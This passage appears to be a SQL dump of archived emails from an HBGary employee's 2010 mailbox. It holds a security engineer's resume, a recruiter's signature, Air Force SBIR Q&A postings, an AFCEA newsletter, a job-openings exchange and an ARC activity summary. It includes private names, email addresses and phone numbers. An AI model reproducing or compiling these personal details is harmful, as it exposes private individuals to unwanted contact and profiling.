junior employees.&nbsp;Senior Systems Network Security Engineer&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp;&nbsp; &nbsp; &nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;2008 – 2009SAIC - Goddard Space Flight Center&nbsp;&nbsp;&nbsp; &nbsp; &nbsp;&nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Greenbelt,&nbsp;Maryland·&nbsp;&nbsp; &nbsp; &nbsp;&nbsp;Developed and implemented Perl and UNIX shell scripts&nbsp;to reduce log analysis time by 50%.·&nbsp;&nbsp; &nbsp; &nbsp;&nbsp;Investigated, researched, and documented malware and&nbsp;intrusion attempts discovered via the Snort IDS BASE interface as well as from&nbsp;custom scripts.	• Seized hard&nbsp;disks and performed volatile data captures according to NASA/GSFC incident&nbsp;response procedures.&nbsp;Global Vulnerability and Threat&nbsp;Analyst&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;2007 – 2008Department of Defense – National Security Agency&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Fort&nbsp;Meade, Maryland·&nbsp;&nbsp; &nbsp; &nbsp;&nbsp;Successfully completed intensive three month Analyst&nbsp;training course.·&nbsp;&nbsp; &nbsp; &nbsp;&nbsp;Configured production Perl scripts to complete&nbsp;organizational goals.&nbsp;Senior Global Network Threat&nbsp;Analyst&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;2004 – 2007Eagle Alliance – National Security Agency&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Fort&nbsp;Meade, Maryland·&nbsp;&nbsp; &nbsp; &nbsp;&nbsp;Customize and implement IDS signatures to reflect&nbsp;dynamic organizational needs.·&nbsp;&nbsp; &nbsp; &nbsp;&nbsp;Developed a Perl script to summarize IDS alerts,&nbsp;reducing alert file analysis by 80%.·&nbsp;&nbsp; &nbsp; &nbsp;&nbsp;Reduced spyware/malicious HTTP activity by 50% via raw&nbsp;network traffic analysis.·&nbsp;&nbsp; &nbsp; &nbsp;&nbsp;Identified numerous vulnerable network printers via a&nbsp;custom Perl port scanner.·&nbsp;&nbsp; &nbsp; &nbsp;&nbsp;Implement secure configuration options for Red Hat&nbsp;Enterprise Linux servers.·&nbsp;&nbsp; &nbsp; &nbsp;&nbsp;Configured Windows 2003 Advanced Server via Microsoft’s&nbsp;2003 Server Security Guide in both a lab and production environment.·&nbsp;&nbsp; &nbsp; &nbsp;&nbsp;Test Microsoft 2000/XP builds for compatibility with&nbsp;network monitoring tools.&nbsp;Systems Administrator&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;2000&nbsp;– 2004Computer Sciences&nbsp;Corporation – Goddard Space Flight Center&nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Greenbelt,&nbsp;Maryland	• Increased server&nbsp;performance by upgrading 10 Windows NT PDCs/BDCs to Windows 2000 Servers&nbsp;w/Active Directory.&nbsp;&nbsp;Ensured&nbsp;minimal migration downtime.	• Configured and&nbsp;administered Windows 2000 IIS and Exchange servers.	• Recorded and stored&nbsp;security log auditing of workstations and servers.	• Developed system security&nbsp;plan according to DCID 6/3 policies.	• Created project’s TS/SCI&nbsp;Web presence.&nbsp;&nbsp;Included custom&nbsp;graphic design and HTML.&nbsp;IT Coordinator/Helpdesk&nbsp;Technician&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;2000NSNL, Inc. - Abt Associates&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Bethesda,&nbsp;Maryland	• Aided over 300 users with&nbsp;various Windows 98/NT software/hardware issues.&nbsp;	• Replaced over 50 aging&nbsp;Windows PC’s via commercial ghosting software.Network Administrator&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;1999 – 2000A.I. Solutions, Inc.&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Lanham,&nbsp;Maryland	• Administered&nbsp;30 Windows NT and Red Hat Linux workstations and servers.&nbsp;&nbsp;Included software installation and&nbsp;hardware upgrades.	• Reduced&nbsp;external E-mail hosting costs by implementing an in-house Red Hat Linux&nbsp;E-mail server.	• Investigated&nbsp;Red Hat Linux gateway logs regarding possible intrusions.	• Updated&nbsp;over 30 Windows NT workstations to meet Y2K requirements.&nbsp;Computer&nbsp;Specialist/PC Technician&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;1991&nbsp;– 1999Department&nbsp;of Justice – Federal Bureau of Investigation&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Washington,&nbsp;D. C.	• Supported&nbsp;24/7 Top Secret command center of over 300 clients via software and&nbsp;hardware troubleshooting and installation.	• Created&nbsp;and implemented unattended installation CDs for over 100 Windows NT&nbsp;workstations.EDUCATION/TRAINING/CERTIFICATIONSTechnical Certifications and Degrees	• GPEN - GIAC Penetration&nbsp;Tester, March 2010	• CEH – Certified Ethical&nbsp;Hacker, May 2008	• CISSP – Certified&nbsp;Information Systems Security Professional #85592, September, 2006	• DCITP – Certified Basic&nbsp;Digital Investigator, May, 2006	• MCP – Windows XP&nbsp;Professional, December, 2005	• Bachelor of Science –&nbsp;Business Management/Information Systems – University of Maryland&nbsp;University College – Adelphi, Maryland, December, 2002	• CCNA – Cisco Certified&nbsp;Network Associate, August, 2001	• MCSE – Microsoft&nbsp;Certified Systems Engineer NT 4.0, August, 1999&nbsp;Other Professional Training	• Department of Defense Computer Investigations Training&nbsp;Program,&nbsp;including:Introduction to&nbsp;Networks and Computer Hardware, Incident Responders Course,Windows Forensic&nbsp;Examinations, Forensics and Intrusions in a Solaris Environment,Forensics and&nbsp;Intrusions in a Linux Environment, EnCase 4 Examinations, Wireless Technology	• SourceFire&nbsp;Network Security Training,&nbsp;including:Snort: Building and&nbsp;Operating a Snort IDS, Snort: Snort Rules	• Guidance&nbsp;Software,&nbsp;Advanced EnCase&nbsp;Enterprise\r\n~~~~~~~~~~~~~~~~~~~~~~Ed Wallach&nbsp;President &amp; CEOEd Wallach Search Group 301-365-3291 office&nbsp;&nbsp;301-613-0629 mobile301-365-3292 fax&nbsp;ed@wallachsearch.comwww.wallachsearch.comRecruiting Intelligence &lt;app_full_proxy.php.gif&gt;\r\n\r\n\r\n~~~~~~~~~~~~~~~~~~~~~~Ed Wallach&nbsp;President &amp; CEOEd Wallach Search Group 301-365-3291 office&nbsp;&nbsp;301-613-0629 mobile301-365-3292 fax&nbsp;ed@wallachsearch.comwww.wallachsearch.comRecruiting Intelligence \r\n\r\n',14280,'aaron_hbgary_com/14280.html'),(11074,'2010-08-31','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008484.M849173P14101Q5929.eml','\"Ted Vera\" <ted@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','Top Level Page','http://www.facebook.com/directory/people',10988,'aaron_hbgary_com/10988.html'),(11075,'2010-08-31','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297008485.M252935P14101Q5930.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','SBIR - Q&Q for shareable game-based objects','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nGreg and Aaron,\r\n\r\n&nbsp;\r\n\r\nHere is Q&amp;A posted for Topic Number:&nbsp;&nbsp;AF103-030 (AirForce)Title:&nbsp;&nbsp;Shareable Game-Based\r\nObjects Gateway for DIS and HLA Integration\r\n\r\n&nbsp;\r\n\r\nAF 103-030:&nbsp; Sharable\r\ngame-based objects gateway for DIS and HLA Integration\r\n\r\n&nbsp;\r\n\r\n\r\n \r\n  \r\n  1.&nbsp;&nbsp;&nbsp;\r\n  Given that\r\n  several existing games have already been integrated with DIS, please indicate\r\n  the interactions/interoperabilities desired from this effort?\r\n  &nbsp;\r\n  \r\n  \r\n  Answer: More general focus\r\n  on making this kind of interoperability doable on a larger scale and more\r\n  importantly is there a way for us to develop objects in one environment and\r\n  share them across other environments so that we only have to do the\r\n  development once as opposed to doing it each and every time we move across\r\n  environments, game-engines, and authoring systems \r\n  \r\n \r\n \r\n  \r\n  2.&nbsp;&nbsp;&nbsp;\r\n  Is there a\r\n  desire for the enhancement of existing data exchange standards and/or\r\n  development of new data exchange standards for training such that\r\n  games/virtuals/constructives/live players can seamlessly interact in the same\r\n  environment?\r\n  \r\n  \r\n  Answer:&nbsp; Yes\r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  3.&nbsp;&nbsp;&nbsp; Does a successful solution need to\r\n  consider integration with other categories of systems, i.e., a Learning\r\n  Management System? If so, how is the envisioned interoperability there?\r\n  \r\n  \r\n  Answer:\r\n  Longer term but for the Phase I effort I\'d like to see the other two\r\n  questions addressed.&nbsp; Sharing objects in support of training which si of\r\n  course our motivation with the topic, would be something that offerors should\r\n  consider as an implication of a successful phase I effort\r\n  \r\n \r\n \r\n  \r\n  4.&nbsp;&nbsp;&nbsp; With regard to integration of games\r\n  with high fidelity distributed simulation, are there any games or simulations\r\n  in particular that we should consider for integration?\r\n  \r\n  \r\n  Answer:&nbsp; No, but\r\n  whatever you propose to use should be defensible both practically and\r\n  theoretically.\r\n  \r\n \r\n \r\n  \r\n  5.&nbsp;&nbsp;&nbsp; Do the games implement networked\r\n  communications either amongst instances of the same game, other games, or at\r\n  all?\r\n  \r\n  \r\n  Answer: Yes there are\r\n  ones that do and ones that don\'t.&nbsp; That data exchange is one of our emphasis\r\n  areas the other is if I author entities or objects in one game environment\r\n  and or engine, I\'d like to be able to transport that entity or object to\r\n  another environment or game instead of having to recreate each time I change\r\n  environments or engines.&nbsp; \r\n  \r\n \r\n \r\n  \r\n  6.&nbsp;&nbsp;&nbsp;\r\n  Is it expected\r\n  that the gateway application will have access to receive, process, and send\r\n  game network traffic? This information is typically encrypted or considered\r\n  proprietary in commercial games and not freely accessible to other\r\n  developers. Can we assume that we will have the information needed to\r\n  reliably decrypt/process what information is being sent by game\r\n  clients/servers?\r\n  &nbsp;\r\n  \r\n  \r\n  Answer: Nope, this is a\r\n  major issue and it is one of the areas I want work to focus on trying to\r\n  address.&nbsp; \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  7.&nbsp;&nbsp;&nbsp;\r\n  For\r\n  games/simulations that are open-source, or where additional development is\r\n  possible (i.e. through modifying tools or access to the game&#8217;s\r\n  developers), is it reasonable for middleware communication code to be embedded\r\n  directly into the game/simulation codebase? Or is it desired that there be no\r\n  integration between the middleware/gateway application and the\r\n  games/simulations that would be using it?\r\n  &nbsp;\r\n  \r\n  \r\n  Answer: Good\r\n  question, you tell me.\r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  8.&nbsp;&nbsp;&nbsp; &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  9.&nbsp;&nbsp;&nbsp;\r\n  What is the origin\r\n  of this topic?\r\n  \r\n  \r\n  Answer:\r\n  Our work and a noted difficulty in transporting objects created in one\r\n  environment to others or any mechanism to easily translate across\r\n  environments.\r\n  \r\n \r\n \r\n  \r\n  10.&nbsp; Is it a correct to say that the objective is to both\r\n  (1) identify and define opportunities for the conceptual integration of games\r\n  and high-fidelity simulations, and (2) design and develop a flexible\r\n  technical integration of games and high fidelity simulations?\r\n  \r\n  \r\n  Answer:\r\n  More than either really.&nbsp; What we want to do is to figure out how objects can\r\n  be developed in one environment and potentially validated in it and then\r\n  transferred to a new environment and expect the model to work as it did in\r\n  the other environment or at least close enough to working so that you\r\n  aren&#8217;t rebuilding objects with each transfer.&nbsp; Today for example you\r\n  might build a whole host of objects in one multiverse environment but you\r\n  cannot move then from the original on to another one without substantial if\r\n  not complete rework.&nbsp; In DIS and HLA environments you can share objects and\r\n  they can retain some, most or all of their attributes but no so in many\r\n  gaming environments and not so easily from gaming environments into DIS and\r\n  HLA &#8211; although there are some exceptions to that latter point.&nbsp; The\r\n  second part is related to creating a mechanism and eventually standards (not\r\n  in the SBIR per se) that permits games and DIS and HLA environments to\r\n  interoperate more seamlessly than they do today.\r\n  \r\n \r\n \r\n  \r\n  11.&nbsp; Can you give any examples of games and simulations,\r\n  or of game mechanics that you have in mind?\r\n  \r\n  \r\n  Answer:&nbsp;\r\n  Yes objects themselves like people, places and things, as well as real time\r\n  data exchanges. \r\n  \r\n \r\n \r\n  \r\n  12.&nbsp; Do you expect this integration to extend beyond\r\n  simulated kinetic interaction (e.g., location and weapon employment) to more\r\n  abstract simulation and training issues (e.g., sharing training goals)\r\n  \r\n  \r\n  Answer:&nbsp;\r\n  be careful , this isn&#8217;t just an integration exercise. If all you plan\r\n  to do is some kind of exploration and integration of other pieces and parts,\r\n  that won&#8217;t make the grade. \r\n  \r\n \r\n \r\n  \r\n  13.&nbsp; Are you concerned with multi-level security issues\r\n  at all (e.g., a low-side FPS player integrated with high-side training\r\n  rotation at an NTC).\r\n  \r\n  \r\n  Answer:&nbsp;\r\n  Not for the Phase I effort for sure.&nbsp; We&#8217;ll look at the opportunities\r\n  and tradeoffs again for the Phase II work. \r\n  \r\n \r\n \r\n  \r\n  14.&nbsp; What specific AF requirements are being addressed by\r\n  the topic? Can you provide references to the requirements documents (e.g.,\r\n  tech roadmaps, etc)?\r\n  \r\n  \r\n  Answer:\r\n  USAF DMO requirements.&nbsp; \r\n  \r\n \r\n \r\n  \r\n  15.&nbsp; What is the AF transition target, and plan for\r\n  supporting it?\r\n  \r\n  \r\n  Answer:\r\n  Potentially the USAF DMO program\r\n  \r\n \r\n \r\n  \r\n  16.&nbsp; Are there any additional references aside from those\r\n  included in the original solicitation that we should look at?\r\n  \r\n  \r\n  Answer:\r\n  None at this time.&nbsp; If I come up with some additional ones I will get them\r\n  posted with this table to the website.&nbsp; \r\n  \r\n \r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14757,'aaron_hbgary_com/14757.html'),(11076,'2010-08-31','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297008485.M602560P14101Q5931.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','SBIR - Medical Gaming Q&A','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nGreg and Aaron,\r\n\r\n&nbsp;\r\n\r\nPosted Q&amp;A for Medical Gaming.&nbsp; Wonder if we could team\r\nwith another company that knows medical and we know gaming&#8230;&#8230;.\r\n\r\n&nbsp;\r\n\r\nQuestions and Answers:\r\n\r\nQ: Is it possible to see what is in current\r\nuse within the DOD for this type of education/simulation/game at this time?\r\n\r\nA: There is no product currently that\r\nincorporates the entire continuum of care (point of injury to level 1 trauma\r\nhospital).\r\n\r\n&nbsp;\r\n\r\nQ: Is there a current vendor or product\r\ncurrently being used which can be seen externally?\r\n\r\nA: No current products being used.\r\n\r\n&nbsp;\r\n\r\nQ: Can you provide a pointer to more\r\ndetails on the virtual medical training world being developed for the AFMS\r\nMedical Modeling and Simulation program?\r\n\r\nA: The medical game must be accessible from\r\noverarching virtual medical\r\n\r\ntraining world. This training world will be embedded on the web\r\nthrough\r\nan Air Force Medical Modeling &amp; Simulation Training (AFMMST) website that\r\nwill include avatar virtual environments. Bottom line, the game must be\r\ndirectly linked to the overarching platform so our program maintains a\r\n\'one-stop shop\' for all of our medical personnel to train on the game no matter\r\nwhere they are geographically. The game will be a \'virtual environment\'. It\r\nshould be able to integrate with the virtual world, but not require it to run\r\nthe game. The virtual world is currently under development.\r\n\r\n&nbsp;\r\n\r\nQ: 2D simulations (e.g. Flash games) have\r\ncan be a cost-effective way of training procedural and other cognitive skills.\r\nDo you see a role for these types of simulations in the solution you are\r\nseeking?\r\n\r\nA: The gaming environment needs to be as\r\nrealistic as possible, so flash games may be limiting in this goal. Flash video\r\nto setup a specific medical scene may be a possibility, but as far the\r\ninteractive gaming portion itself, it needs to be more advanced. For example,\r\nwe think a flash video of the &quot;setup&quot; would be sufficient to set the\r\nscene from a combat zone to complete the following medical play.\r\n\r\n&nbsp;\r\n\r\nQ: Do you have access to any existing\r\nrepositories of relevant training scenarios?\r\n\r\nA: We\r\ndo have access to relevant medical training scenarios. We have developed\r\nmedical scenarios on a standardized template for the AFMS Medical Modeling\r\n&amp; Simulation Program. These scenarios are validated through active duty\r\ncareer field managers and consultants that are appointed by the AF Surgeon\r\nGeneral. The company that is selected depending upon the winning proposal will\r\nbe given access to the necessary scenarios at that time. In a general sense,\r\ntrauma scenarios will be the focus in the medical game.\r\n\r\nQ: What are the network throughputs\r\nrequirements to be met?\r\n\r\nA: Are you talking about bandwidth? If so,\r\nbandwidth is limited on AF bases, comparable to DSL speeds to the average user.\r\nIf not, then please clarify your question.\r\n\r\n&nbsp;\r\n\r\nQ: Are there any non-medical games that has\r\nthe level of realism that you\'re looking for?\r\n\r\nA: . . . response pending . . .\r\n\r\n&nbsp;\r\n\r\nQ: Can you define the limits of the\r\nexpected budget or targeted cost estimate?\r\n\r\nA: . . . response pending . . .\r\n\r\n&nbsp;\r\n\r\nQ: In the answer to question #3 above you\r\nstate:\r\nIt should be able to integrate with the virtual world, but not require it to\r\nrun the game. The virtual world is currently under development.\r\n\r\nQuestion: What specific technology is being used for this virtual world under\r\ndevelopment that the SBIR game should be able to plug into. Who is building\r\nthis virtual world and can we see the specifications for it.\r\n\r\nA: . . . response pending . . .\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3709,'aaron_hbgary_com/3709.html'),(11077,'2010-08-31','\"AFCEA NOVA\" <info@afceanova.org>','/aaron@hbgary.com/new/1297008485.M822738P14101Q5932.eml','aaron@hbgary.com','Register Now - September Luncheon with Gen. William T. Lord  (AFCEA NOVA)','\r\n\r\n\r\n  AFCEA-NOVA\r\n   \r\n  \r\nHaving trouble viewing this email?\r\nClick here\r\n\r\n\r\n\r\n  \r\n    \r\n      \r\n    \r\n    \r\n      \r\n      \r\n      September\r\nLuncheon Meeting Featuring Lt. Gen. William T. Lord\r\n      \r\n      &nbsp;\r\n    \r\n    \r\n      \r\n      \r\n      \r\n      \r\n    \r\n    \r\n      \r\n      \r\n      \r\n      September Luncheon Meeting\r\n      Lt. Gen.\r\nWilliam T. Lord\r\n      Chief of\r\nWarfighting Integration and \r\n      CIO Office of the\r\nSecretary of the Air Force\r\n      Friday, September 10, 2010\r\n      Read more and register at \r\n      www.afceanova.org/luncheons\r\n      \r\n      \r\n      About The September Speaker\r\n      Lt. Gen. William T. Lord is the Chief of Warfighting\r\nIntegration and Chief Information Officer, Office of the Secretary of\r\nthe Air Force.\r\n      General Lord leads five directorates and two field\r\noperating agencies consisting of more than 1,000 military, civilian and\r\ncontractor personnel supporting a portfolio valued at $17 billion. \r\nRead more about Lt. Gen. Lord and register for the program at www.afceanova.org/luncheons\r\n      \r\n      \r\n      Last Chance for Table Sponsorships\r\n      Only a few table sponsorships are left for the 2010-2011\r\nyear.\r\n      Don\'t miss this chance to secure your space at the best\r\nnetworking event in town for the defense and intelligence communities. \r\n      Become\r\na 2010-2011 Table Sponsor\r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      Upcoming\r\nAFCEA NOVA Events \r\n      With\r\nworld-class speakers and record-breaking attendance year after year, AFCEA\r\nNOVA\'s event programs are opportunity you can\'t afford to pass up.\r\n      \r\n        \r\n           Friday,\r\nSeptember 10 \r\n           September\r\nLuncheon\r\nLt. Gen. William T. Lord\r\n        \r\n          \r\n        \r\n           Tuesday,\r\nSeptember 21 \r\n           DHS\r\nEagle II\r\nSmall Business Breakfast\r\n        \r\n          \r\n        \r\n           Friday,\r\nOctober 15 \r\n           October\r\nLuncheon\r\nM. Gen. Steven Smith\r\n        \r\n          \r\n        \r\n           Thursday,\r\nOctober 21 \r\n           9th\r\nAnnual Air Force IT Day\r\nIT Supporting and Enabling the Joint Mission \r\n        \r\n      \r\n      \r\n      \r\n      \r\n    \r\n    \r\n      \r\n      \r\n      \r\n      \r\n    \r\n    \r\n      \r\n    \r\n  \r\n\r\n\r\nForward email\r\n\r\n\r\n\r\nThis email was sent to aaron@hbgary.com by info@afceanova.org.\r\nUpdate Profile/Email Address | Instant removal with SafeUnsubscribe&trade; | Privacy Policy.\r\n\r\nEmail Marketing by\r\n\r\n\r\nAFCEA NOVA | 400 North Washington St | Ste 300 | Alexandria | VA | 22314\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3643,'aaron_hbgary_com/3643.html'),(11078,'2010-08-31','\"Tropical Warners\" <fotoman@tropicalwarners.com>','/aaron@hbgary.com/new/1297008486.M500154P14101Q5934.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: TASC Positions','If any are located in Chantilly or closer then I\'m interested in hearing more about them.Sorry I didn\'t have time to stop and chat yesterday.RaleighSent from my iPhone 4On Aug 30, 2010, at 10:39 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:Hey Raleigh,I just wanted to make you aware of some positions that have opened up on the TASC website.118583 Web S/W Developer 5118580 Web S/W Developer 4118573 Web S/W Developer 3118584 Systems Admin 4118586 Graphics Artist 5118587 Graphics Artist 4If you want to talk about these opportunities and the group that put these out let me know.Have a good one.Aaron',13695,'aaron_hbgary_com/13695.html'),(11079,'2010-08-31','arc@westfields.net','/aaron@hbgary.com/new/1297008486.M768372P14101Q5935.eml','federal@hbgary.com','ARC Daily Activity Summary','\r\nThis is a daily email notice containing a summary of the active efforts that have had some activity since Monday, 08/30/2010 08:00 AM. Activity is described as one or more documents and/or an announcement being posted to the effort website.\r\n\r\n\r\nNo Activity on Unclassified ARC Efforts Within Defined Timeframe\r\n\r\n\r\n\r\nCWAN ARC Efforts\r\n\r\nNGA-ESMARTS (Document Posting)\r\n\r\n\r\n\r\nUnclassified efforts can be viewed on the Internet ARC at https://arc.westfields.net/ Classified efforts can be viewed on the CWAN ARC at http://arc.npa.gov/\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 